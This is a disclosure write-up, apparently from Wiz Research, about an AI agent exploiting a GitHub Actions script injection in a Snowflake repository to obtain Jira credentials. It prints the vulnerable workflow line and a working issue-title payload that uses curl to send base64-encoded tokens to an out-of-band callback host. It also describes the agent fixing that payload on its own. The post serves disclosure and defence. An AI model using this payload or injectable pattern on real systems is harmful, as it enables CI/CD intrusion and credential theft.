Wiz Red Agent Finds Its Way Into Snowflake’s Internal Jira Through a Flaw in a GitHub Copilot–Assisted PR
As part of ongoing security research conducted through Snowflake’s HackerOne vulnerability disclosure program, Wiz Research’s "Red Agent"—an autonomous, AI-powered security research tool—identified a critical GitHub Actions workflow vulnerability in one of Snowflake’s public repositories.
This incident highlights a new reality in software development: Critical vulnerabilities can still be introduced and approved within workflows involving AI coding agents and can still pass established automated security checks, while autonomous AI security agents can rapidly discover and exploit them in the wild.
Upon responsible disclosure on June 23, 2026 by Wiz, Snowflake remediated the vulnerability on the same day, rotated the affected credential, and verified via detailed audit logs that Wiz was the sole actor during the exposure window. Wiz confirmed that all data accessed during proof-of-concept testing was securely deleted.
August 17, 2026, 1957 UTC update: This blog has been updated to clarify that Copilot was a co-author that checked the merged PR and code change, and identified it as all-clear without noticing the critical vulnerabilities. It's unclear whether the code-change was AI-assisted.
Executive Summary
Wiz Red Agent identified a script injection vulnerability in snowflakedb/snowflake-connector-net. The issue allowed an unauthenticated user to execute arbitrary commands within a GitHub Actions runner by opening a GitHub issue with a specially crafted title. Crucially, the vulnerability became live on June 18, 2026 - just five days before its discovery - when PR #1218 was merged. GitHub Advanced Security scan analyzed the final PR revision, including the vulnerable workflow, but did not flag the critical injection.
Screenshot demonstrating access to Snowflake's Jira portal, via an exfiltrated token
Exposure Walk-Through
Discovery
Wiz Red Agent's CI/CD capability scanned Snowflake's GitHub organization and flagged the jira\_issue.yml Workflow in snowflakedb/snowflake-connector-net as vulnerable to script injection via untrusted input in `run:` blocks.
The Code Change
- env:
- ISSUE_TITLE: ${{ github.event.issue.title }}
- run: jq -n --arg title "$ISSUE_TITLE" ...
+ run: TITLE=$(echo '${{ github.event.issue.title }}' | sed ...)
The workflow triggered on `issues: opened` \- meaning any GitHub user could fire it by opening an issue - and interpolated the attacker-controlled issue title directly into a shell script:
run: | TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\\"/g' | sed "s/'/\\\'/g")The `sed` escaping runs after GitHub's template expansion, a single quote in the title breaks out of `echo '...'` and allows arbitrary command execution. The injectable pattern was added to jira\_issue.yml in commit 094038e and became live when PR #1218 was squash-merged as commit 4a1b8ce (PR #1218: “SNOW-2069227: Update jira workflows”). Copilot Autofix’s documented contribution was a separate fix to jira\_close.yml within the same PR. GitHub Advanced Security’s scan explicitly extracted the vulnerable jira\_issue.yml workflow but did not flag the injection. The merged PR removed the repository’s existing safe env: and jq pattern and replaced it with direct ${{ github.event.issue.title }} interpolation, creating the injection vector.
The commit introducing the vulnerable pattern
The code change introducing the vulnerable pattern
The Open “Security Gate”
The workflow had an `if:` condition that appeared protective:
if: (github.event_name == 'issues' && github.event.pull_request.user.login != 'whitesource-for-github-com[bot]')However, on issues events, `github.event.pull_request` is always null.
So the condition reduces to (`null != 'whitesource-for-github-com[bot]'`). This is always true, and every GitHub user passes the gate.
The Open “Security Gate”
Exploitation
We crafted an issue title that, after template expansion, breaks out of the echo string and exfiltrates the Jira credentials via an out-of-band callback:
Crucially, when Red Agent’s cicd capability initially attempted exfiltration using a standard comment character (`#`), the runner returned a bash syntax error because the comment consumed the closing parenthetical of `TITLE=$(...)`. Rather than stopping or failing, Red Agent:
1. autonomously analyzed the syntax execution error 2. adjusted its payload to use `; echo '` to properly close the shell block, and 3. successfully received the out-of-band callback
' ; curl -s "https://subdomain.oast.me?t=`printf %s $JIRA_API_TOKEN|base64 -w0`&e=`printf %s $JIRA_USER_EMAIL|base64 -w0`&u=`printf %s $JIRA_BASE_URL|base64 -w0`" ; echo 'Within seconds, our listener received the callback from a GitHub Actions runner (Azure IP `20.106.182.197`) containing base64-encoded credentials.
The POC PR with payload in the Issue title
Note: Our first attempt used `#` to comment out the rest of the line, which caused an unexpected EOF bash error because it also ate the closing `)` of `TITLE=$(...)`. The fix was using `; echo '` to properly close the shell syntax.
The workflow log showing successful exploitation
The exfiltrated token linked to qa@snowflake.net
The exfiltrated token authenticated as `qa@snowflake.net` to `snowflakecomputing.atlassian.net`, granting read access across Snowflake's engineering, security compliance, and bug bounty tracking projects.
Remediation & Forensics
1. Same-Day Patching: Snowflake patched the workflow on June 23, 2026 (1dc7766, PR #1402), fully restoring the safe `env:` variable and `jq --arg` parsing pattern. 2. Credential Revocation: The JIRA token in question was revoked and rotated. 3. Forensic Verification: Comprehensive audit log analysis confirmed that no external third parties accessed the endpoint during the 5-day exposure window. All anomalous queries were strictly matched to Wiz's testing IPs.
Key Takeaways
Disclosure Timeline
Snowflake’s Response
Snowflake appreciates Wiz's responsible reporting of and collaboration around these findings through our vulnerability disclosure and bug bounty program, HackerOne. Wiz Research reported a security vulnerability in one of Snowflake's public GitHub repositories. The disclosure was received on June 23, 2026, and it was immediately investigated and remediated, and our investigation found no evidence of unauthorized access. Protecting our systems remains a top priority, and we remain committed to continually strengthening our software development and security practices. We are working together with Wiz to share these learnings with the broader industry to encourage widespread adoption of these security best practices.
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